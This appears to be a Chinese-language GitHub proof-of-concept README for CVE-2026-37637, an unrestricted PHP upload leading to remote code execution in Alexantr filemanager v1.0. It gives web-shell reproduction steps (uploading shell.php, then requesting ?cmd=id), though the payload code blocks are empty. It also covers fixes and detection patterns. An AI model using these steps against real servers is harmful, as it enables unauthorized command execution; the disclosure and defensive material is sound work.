SLO-CYBER-SEC/CVE-2026-37637
GitHub: SLO-CYBER-SEC/CVE-2026-37637
针对Alexantr filemanager v1.0中CVE-2026-37637远程代码执行漏洞的概念验证仓库,演示了通过无限制文件上传实现服务器任意命令执行的完整攻击链。
Stars: 1 | Forks: 0
# CVE-2026-37637
**CVE-2026-37637** 概念验证 - **Alexantr filemanager v1.0** 中由于 `filemanager.php` 存在无限制文件上传而导致的远程代码执行漏洞。
## 概述
**CVE-2026-37637** 是一个影响 **Alexantr filemanager v1.0** 的远程代码执行漏洞。
该漏洞存在于 `filemanager.php` 组件中,原因是上传文件验证不足。远程攻击者可以将恶意的 PHP 文件上传到可通过 Web 访问的目录中,并在服务器上执行任意命令。
## 漏洞概述
| 项目 | 描述 |
|---|---|
| CVE ID | CVE-2026-37637 |
| 漏洞类型 | 远程代码执行 |
| 受影响产品 | Alexantr filemanager |
| 受影响版本 | v1.0 |
| 漏洞组件 | `filemanager.php` |
| 攻击向量 | 远程 |
| 身份验证要求 | 取决于部署/配置 |
| 影响 | 任意命令执行 |
| 根本原因 | 无限制文件上传及缺乏服务端文件验证 |
## 影响
攻击者可以通过文件上传功能上传恶意 PHP 文件。由于上传的文件存储在可通过 Web 访问的位置,且允许执行 PHP,攻击者可以在服务器上执行任意系统命令。
成功利用此漏洞可能允许攻击者:
- 在服务器上执行任意命令
- 读取敏感文件
- 修改或删除应用程序文件
- 上传额外的恶意软件或 web shell
- 向托管环境进行进一步的渗透
- 完全控制受影响的服务器
## 技术细节
该应用程序允许用户上传任意文件,而没有正确验证文件扩展名、MIME 类型或文件内容。
可以上传如下恶意 PHP 文件:
```
```
一旦上传到可通过 Web 访问的目录中,攻击者就可以通过浏览器访问该文件并通过 `cmd` 参数传递命令来执行它们。
示例:
```
http://target/uploads/shell.php?cmd=id
```
这将导致在底层操作系统上执行命令。
## 复现步骤
### 1. 克隆易受攻击的应用程序
```
git clone https://github.com/alexantr/filemanager
cd filemanager
```
### 2. 启动 PHP 开发服务器
```
php -S localhost:8000
```
### 3. 访问应用程序
在浏览器中打开应用程序:
```
http://localhost:8000/filemanager.php
```
根据部署或配置情况,该应用程序也可能通过以下方式访问:
```
http://localhost:8000/pheditor.php
```
### 4. 上传恶意 PHP 文件
创建一个名为 `shell.php` 的文件:
```
```
使用应用程序的上传功能上传该文件。
### 5. 执行命令
上传文件后,直接在浏览器中访问它:
```
http://localhost:8000/uploads/shell.php?cmd=id
```
如果漏洞利用成功,服务器将执行该命令并返回输出。
示例输出:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 概念验证
### 恶意 PHP 载荷
```
```
### 示例请求
```
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
```
### 预期结果
通过 `cmd` 参数提供的命令在服务器上被执行。
## 根本原因
该漏洞是由文件上传功能中服务端验证不足引起的。
该应用程序未正确限制:
- 文件扩展名
- MIME 类型
- 文件内容
- 上传目标路径
- 上传目录内的执行权限
因此,可执行的 PHP 文件可以被上传并直接执行。
## 建议修复方案
供应商和用户应实施以下防护措施。
### 1. 拦截危险文件扩展名
禁止上传可执行文件类型,例如:
```
.php, .phtml, .php3, .php4, .php5, .phar
```
### 2. 使用允许名单
仅允许预期的文件类型,例如:
```
.jpg, .png, .gif, .txt, .pdf
```
### 3. 验证 MIME 类型和文件内容
不要仅依赖客户端提供的 `Content-Type` 头。
文件验证应在服务端进行。
### 4. 将上传文件存储在 Web 根目录之外
上传的文件不应可直接执行或公开访问。
### 5. 禁用上传目录中的 PHP 执行
对于 Apache,可以使用 `.htaccess` 实现:
```
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
```
对于 Nginx,阻止上传路径中的 PHP 处理:
```
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
```
### 6. 重命名上传文件
使用服务器随机生成的文件名,并移除用户控制的扩展名。
### 7. 应用适当的访问控制
将上传功能限制为仅受信任的用户。
## 检测
管理员可以在可通过 Web 访问的目录中查找可疑的上传 PHP 文件。
示例指标:
```
shell.php
cmd.php
upload.php
backdoor.php
.php files inside upload directories
```
可疑的请求模式可能包括:
```
?cmd=
?exec=
?shell=
?command=
```
示例日志条目:
```
GET /uploads/shell.php?cmd=id HTTP/1.1
```
## 免责声明
本仓库仅出于教育和防御安全目的提供。
这些信息和概念验证旨在帮助开发人员、系统管理员和安全专业人员理解和修复该漏洞。
请勿在未经明确授权的情况下使用此信息攻击系统。未经授权访问计算机系统是违法行为。
作者不对本仓库中提供信息的任何滥用行为承担责任。
## 参考
- https://github.com/alexantr/filemanager
- https://cve.mitre.org/
标签:0day, Alexantr filemanager, CISA项目, CVE-2026-37637, PHP安全, RCE, WebShell, Web安全, 任意命令执行, 提示词注入, 文件上传漏洞, 文件包含, 文件管理器, 无限制文件上传, 服务端输入验证绕过, 漏洞PoC, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 远程代码执行, 隐私保护